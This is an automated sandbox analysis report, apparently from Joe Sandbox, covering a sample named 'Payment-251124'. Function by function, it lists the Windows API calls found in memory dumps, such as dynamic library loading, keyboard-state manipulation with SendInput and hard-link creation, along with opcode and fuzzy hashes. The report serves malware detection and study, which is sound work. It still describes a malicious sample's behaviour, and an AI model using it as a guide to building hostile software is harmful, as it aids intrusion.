                                                        Download Yara Rule
                                                        APIs
                                                        • LoadLibraryA.KERNEL32(kernel32.dll,00EC41BB,00EC4341,?,00EC422F,?,00EC41BB,?,?,?,?,00EC39FE,?,00000001), ref: 00EC4359
                                                        • GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 00EC436B
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: AddressLibraryLoadProc
                                                        • String ID: Wow64DisableWow64FsRedirection$kernel32.dll
                                                        • API String ID: 2574300362-3689287502
                                                        • Opcode ID: f6e6670360e77534ba03d549a710ad85ea011ca15411b91d057207764adc7529
                                                        • Instruction ID: 7d122ebbc53a713008d80f95b722d1a13d5313f4ebfae7c2f506d713f1a375dd
                                                        • Opcode Fuzzy Hash: f6e6670360e77534ba03d549a710ad85ea011ca15411b91d057207764adc7529
                                                        • Instruction Fuzzy Hash: E1D0A774500B12AFD7204F34E908B0276E4AB6171DB00841EEC85E2190D7B0D880D711
                                                        Function 00F00564 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • LoadLibraryA.KERNEL32(oleaut32.dll,00000000,00F0052F,?,00F006D7), ref: 00F00572
                                                        • GetProcAddress.KERNEL32(00000000,UnRegisterTypeLibForUser), ref: 00F00584
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: AddressLibraryLoadProc
                                                        • String ID: UnRegisterTypeLibForUser$oleaut32.dll
                                                        • API String ID: 2574300362-1587604923
                                                        • Opcode ID: 2f7754683527612030f754aac94a08879027d9377ba3da9489869a4ff744fe07
                                                        • Instruction ID: 2a26c09c21a8b6cac20eeadaee30c369a9906c55003c2e6332f88920b093a08a
                                                        • Opcode Fuzzy Hash: 2f7754683527612030f754aac94a08879027d9377ba3da9489869a4ff744fe07
                                                        • Instruction Fuzzy Hash: 49D05E34A003129AD7205F30AC08F5277F4AB15324F14841AEC45A2290DA70C480AB21
                                                        Function 00F00539 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • LoadLibraryA.KERNEL32(oleaut32.dll,?,00F0051D,?,00F005FE), ref: 00F00547
                                                        • GetProcAddress.KERNEL32(00000000,RegisterTypeLibForUser), ref: 00F00559
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: AddressLibraryLoadProc
                                                        • String ID: RegisterTypeLibForUser$oleaut32.dll
                                                        • API String ID: 2574300362-1071820185
                                                        • Opcode ID: 07cdd5ed3ed5b1e1fbe03cb712130f2ac5f47d2d43ff09a9ad64df8e1469f923
                                                        • Instruction ID: ba47d6cb656afb6383e21c838c59fbb098029175fb06132de4ff9d02ead792f4
                                                        • Opcode Fuzzy Hash: 07cdd5ed3ed5b1e1fbe03cb712130f2ac5f47d2d43ff09a9ad64df8e1469f923
                                                        • Instruction Fuzzy Hash: EDD0A774A007129FD7208F30EC0875176E4AB11315F14C41EFC8AD3190DA70C880FA11
                                                        Function 00F1ECC8 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • LoadLibraryA.KERNEL32(kernel32.dll,?,00F1ECBE,?,00F1EBBB), ref: 00F1ECD6
                                                        • GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 00F1ECE8
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: AddressLibraryLoadProc
                                                        • String ID: GetSystemWow64DirectoryW$kernel32.dll
                                                        • API String ID: 2574300362-1816364905
                                                        • Opcode ID: e84ede54e393a760487c3f45b79b52158aa5b79c3eea2fe92dc659ded2508927
                                                        • Instruction ID: e269bea06711e9413e08ddd2aa8c063a03a0eff9494f4dcab48958556c933677
                                                        • Opcode Fuzzy Hash: e84ede54e393a760487c3f45b79b52158aa5b79c3eea2fe92dc659ded2508927
                                                        • Instruction Fuzzy Hash: 23D0A7349007239FDB245F60EC4868276E4AB52314B00C41AFC49D2150DB70D8C0FB51
                                                        Function 00F1BADD Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • LoadLibraryA.KERNEL32(kernel32.dll,00000000,00F1BAD3,00000001,00F1B6EE,?,00F5DC00), ref: 00F1BAEB
                                                        • GetProcAddress.KERNEL32(00000000,GetModuleHandleExW), ref: 00F1BAFD
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: AddressLibraryLoadProc
                                                        • String ID: GetModuleHandleExW$kernel32.dll
                                                        • API String ID: 2574300362-199464113
                                                        • Opcode ID: 9022647483a7121d8550e2805e0d260e5d32d9ab75dd91970b1442561cc7de31
                                                        • Instruction ID: c6e74ff7cabf866b1a9301a795ea5624700f9b7af23b009f34ce2ca7ca184477
                                                        • Opcode Fuzzy Hash: 9022647483a7121d8550e2805e0d260e5d32d9ab75dd91970b1442561cc7de31
                                                        • Instruction Fuzzy Hash: 1DD0A734D04712DFD7309F20EC48B5176E4AB51314B10841AFC47D2550D770D8C0E712
                                                        Function 00F23BDB Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • LoadLibraryA.KERNEL32(advapi32.dll,?,00F23BD1,?,00F23E06), ref: 00F23BE9
                                                        • GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 00F23BFB
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: AddressLibraryLoadProc
                                                        • String ID: RegDeleteKeyExW$advapi32.dll
                                                        • API String ID: 2574300362-4033151799
                                                        • Opcode ID: 246ed2b4ce1dc73cb11bc3c853aebe479b269dec9170aff887e5936a47861d85
                                                        • Instruction ID: 024d6751b73f3ae5c7b776fe9784117c70692bae4526b2726fe7161c2cceac55
                                                        • Opcode Fuzzy Hash: 246ed2b4ce1dc73cb11bc3c853aebe479b269dec9170aff887e5936a47861d85
                                                        • Instruction Fuzzy Hash: 2AD0A7B4A407669FD7205F60FC08603FAF4AB12328B10841EEC49E2250D7B4D480EE11
                                                        Function 00EF9B30 Relevance: 6.3, APIs: 4, Instructions: 306COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 1e3500991697298638e4b6126a9ca95621ed30baf5082d0c82bce4dc77d8d262
                                                        • Instruction ID: 71c595fe3d085fe9732a8273d39d636db852b1b4b159b0acb3567e57a6a952df
                                                        • Opcode Fuzzy Hash: 1e3500991697298638e4b6126a9ca95621ed30baf5082d0c82bce4dc77d8d262
                                                        • Instruction Fuzzy Hash: 37C16C75A0021AEFCB14CF94C884BBEB7B5FF48704F209599EA85AB252D730DE41DB90
                                                        Function 00F1AA84 Relevance: 6.3, APIs: 4, Instructions: 268COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • CoInitialize.OLE32(00000000), ref: 00F1AAB4
                                                        • CoUninitialize.OLE32 ref: 00F1AABF
                                                          • Part of subcall function 00F00213: CoCreateInstance.OLE32(?,00000000,00000005,?,?,?,?,?,?,?,?,?,?,?), ref: 00F0027B
                                                        • VariantInit.OLEAUT32(?), ref: 00F1AACA
                                                        • VariantClear.OLEAUT32(?), ref: 00F1AD9D
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Variant$ClearCreateInitInitializeInstanceUninitialize
                                                        • String ID:
                                                        • API String ID: 780911581-0
                                                        • Opcode ID: 972fb5e5531c1489f9171c5e2c9df5d65fd2b6c1317ae8cbd0266ea312820fb6
                                                        • Instruction ID: 4e0ab1b6eaf24f528e3769816adee79b079eaf241284299a4816920a940cfe33
                                                        • Opcode Fuzzy Hash: 972fb5e5531c1489f9171c5e2c9df5d65fd2b6c1317ae8cbd0266ea312820fb6
                                                        • Instruction Fuzzy Hash: 2BA14735604B019FCB10DF14C985B5AB7E4BF88320F04444DFA9AAB3A2CB31ED41DB86
                                                        Function 00EF91CC Relevance: 6.2, APIs: 4, Instructions: 201memoryCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Variant$AllocClearCopyInitString
                                                        • String ID:
                                                        • API String ID: 2808897238-0
                                                        • Opcode ID: 04c2e33c0218d2fe3bc429cd43d64563823b6f16159cd7036fcb42078f26bebe
                                                        • Instruction ID: c6405272a6336ae482897bfc11dbfa334ba45c48a0cec8dc63b43590f2672add
                                                        • Opcode Fuzzy Hash: 04c2e33c0218d2fe3bc429cd43d64563823b6f16159cd7036fcb42078f26bebe
                                                        • Instruction Fuzzy Hash: 8851BA34A0530A9BDB24AF65D491B7EB3E9EF55314F20A81FE6D6EB2D3DB3098418701
                                                        Function 00EE365B Relevance: 6.2, APIs: 4, Instructions: 162COMMONLIBRARYCODE
                                                        Download Yara Rule
                                                        APIs
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: _memset$__filbuf__getptd_noexit_memcpy_s
                                                        • String ID:
                                                        • API String ID: 3877424927-0
                                                        • Opcode ID: 065ad613f1183b824f05baa70d3d15c8958660488bca00daffb81e2f860a9d07
                                                        • Instruction ID: ce1e21c36a70f545648f6abbbd179bb10fbdec985012069b28a276a586e6b353
                                                        • Opcode Fuzzy Hash: 065ad613f1183b824f05baa70d3d15c8958660488bca00daffb81e2f860a9d07
                                                        • Instruction Fuzzy Hash: 5251BCB0A0068EABDB248F7B884856F77B5AF40324F24972EF425B72D0D7719F508B40
                                                        Function 00F2C4D7 Relevance: 6.1, APIs: 4, Instructions: 137COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetWindowRect.USER32(015D6CB8,?), ref: 00F2C544
                                                        • ScreenToClient.USER32(?,00000002), ref: 00F2C574
                                                        • MoveWindow.USER32(00000002,?,?,?,000000FF,00000001,?,00000002,?,?,?,00000002,?,?), ref: 00F2C5DA
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Window$ClientMoveRectScreen
                                                        • String ID:
                                                        • API String ID: 3880355969-0
                                                        • Opcode ID: 3eb17eaa742934907e3c68db40ad4d64101cca202ea1c142c7b5dd4bef754df1
                                                        • Instruction ID: 99443323b03a8a83fecefe31dca0d96e4743eb41644b4d142b0a71dde0e55627
                                                        • Opcode Fuzzy Hash: 3eb17eaa742934907e3c68db40ad4d64101cca202ea1c142c7b5dd4bef754df1
                                                        • Instruction Fuzzy Hash: 51515E75900118EFCF20DF68D881AAE7BB6FB55320F148259F95997290D734ED81EB90
                                                        Function 00EFC410 Relevance: 6.1, APIs: 4, Instructions: 130windowCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • SendMessageW.USER32(?,0000110A,00000004,00000000), ref: 00EFC462
                                                        • __itow.LIBCMT ref: 00EFC49C
                                                          • Part of subcall function 00EFC6E8: SendMessageW.USER32(?,0000113E,00000000,00000000), ref: 00EFC753
                                                        • SendMessageW.USER32(?,0000110A,00000001,?), ref: 00EFC505
                                                        • __itow.LIBCMT ref: 00EFC55A
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: MessageSend$__itow
                                                        • String ID:
                                                        • API String ID: 3379773720-0
                                                        • Opcode ID: edae4db79d0541733c34fd4e9b9072ab5f163095cfcbb3c9ec809150b535d450
                                                        • Instruction ID: 1a0f4921e5af301debb824f99546e195acb325c72444381c9a3bf30ce14d56e6
                                                        • Opcode Fuzzy Hash: edae4db79d0541733c34fd4e9b9072ab5f163095cfcbb3c9ec809150b535d450
                                                        • Instruction Fuzzy Hash: 5941E47160060CABDF11DF54C955FFE7BF9AF48704F201059FA09B7281DB71AA4A8BA1
                                                        Function 00F0390C Relevance: 6.1, APIs: 4, Instructions: 112keyboardwindowCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetKeyboardState.USER32(?,00000000,?,00000001), ref: 00F03966
                                                        • SetKeyboardState.USER32(00000080,?,00000001), ref: 00F03982
                                                        • PostMessageW.USER32(00000000,00000102,?,00000001), ref: 00F039EF
                                                        • SendInput.USER32(00000001,?,0000001C,00000000,?,00000001), ref: 00F03A4D
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: KeyboardState$InputMessagePostSend
                                                        • String ID:
                                                        • API String ID: 432972143-0
                                                        • Opcode ID: d72e2c073d6738172006a9f7dcdcdb4f00446ce888065eafe74a59429d2fba7c
                                                        • Instruction ID: 8968debab7dccb28523c900cc86468b709ec9d73aaeac55ad3e18d8e6c50d510
                                                        • Opcode Fuzzy Hash: d72e2c073d6738172006a9f7dcdcdb4f00446ce888065eafe74a59429d2fba7c
                                                        • Instruction Fuzzy Hash: 2D412770F44208AEEF208B64CC09BFDBBBE9B55320F04011AE4C1922C1C7B88E85F761
                                                        Function 00F0E698 Relevance: 6.1, APIs: 4, Instructions: 110fileCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • CreateHardLinkW.KERNEL32(00000002,?,00000000), ref: 00F0E742
                                                        • GetLastError.KERNEL32(?,00000000), ref: 00F0E768
                                                        • DeleteFileW.KERNEL32(00000002,?,00000000), ref: 00F0E78D
                                                        • CreateHardLinkW.KERNEL32(00000002,?,00000000,?,00000000), ref: 00F0E7B9
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: CreateHardLink$DeleteErrorFileLast
                                                        • String ID:
                                                        • API String ID: 3321077145-0
                                                        • Opcode ID: 4468b05e2928fe7073a1036074f44a7ef5027846f0ba4d1d35a5d29606e961b2
                                                        • Instruction ID: 102353ad017e8948e22b1c488a36f34c8e1715deb600e4b2533f79e8df3834ae
                                                        • Opcode Fuzzy Hash: 4468b05e2928fe7073a1036074f44a7ef5027846f0ba4d1d35a5d29606e961b2
                                                        • Instruction Fuzzy Hash: 17414739600610DFCF11EF18C544A5DBBE5FF99720B098498E916AB3A2CB75FD01EB91
                                                        Function 00F2B544 Relevance: 6.1, APIs: 4, Instructions: 108COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 00F2B5D1
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: InvalidateRect
                                                        • String ID:
                                                        • API String ID: 634782764-0
                                                        • Opcode ID: 518f14f71712557a1c4ef348099c02bf4702407b883c1a57a4bebdd907cfd528
                                                        • Instruction ID: 5d3344422e142ebb140a949de5067504daf194ebb4d07cc562911b03795764cb
                                                        • Opcode Fuzzy Hash: 518f14f71712557a1c4ef348099c02bf4702407b883c1a57a4bebdd907cfd528
                                                        • Instruction Fuzzy Hash: 3531C775A01128BFEF209F58EC86FE87BA5EB06320F584551FE51DA2E1D730E940BB51
                                                        Function 00F2D7DE Relevance: 6.1, APIs: 4, Instructions: 105windowCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • ClientToScreen.USER32(?,?), ref: 00F2D807
                                                        • GetWindowRect.USER32(?,?), ref: 00F2D87D
                                                        • PtInRect.USER32(?,?,00F2ED5A), ref: 00F2D88D
                                                        • MessageBeep.USER32(00000000), ref: 00F2D8FE
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Rect$BeepClientMessageScreenWindow
                                                        • String ID:
                                                        • API String ID: 1352109105-0
                                                        • Opcode ID: 3ac1142b930bf0f975c3a176ec01718fd0579dfe71bbde014ae26b2a7bd352c2
                                                        • Instruction ID: 09f230919393357ce8257e6dadeb2efd4665e5fa158cb48034ce4458ff67f915
                                                        • Opcode Fuzzy Hash: 3ac1142b930bf0f975c3a176ec01718fd0579dfe71bbde014ae26b2a7bd352c2
                                                        • Instruction Fuzzy Hash: EB41AD75E00228DFCB15DF58E884BE97BF5FF49361F1882A9E8549B260D730E945EB40
                                                        Function 00F03A61 Relevance: 6.1, APIs: 4, Instructions: 104keyboardwindowCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetKeyboardState.USER32(?,75C0C0D0,?,00008000), ref: 00F03AB8
                                                        • SetKeyboardState.USER32(00000080,?,00008000), ref: 00F03AD4
                                                        • PostMessageW.USER32(00000000,00000101,00000000,?), ref: 00F03B34
                                                        • SendInput.USER32(00000001,?,0000001C,75C0C0D0,?,00008000), ref: 00F03B92
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
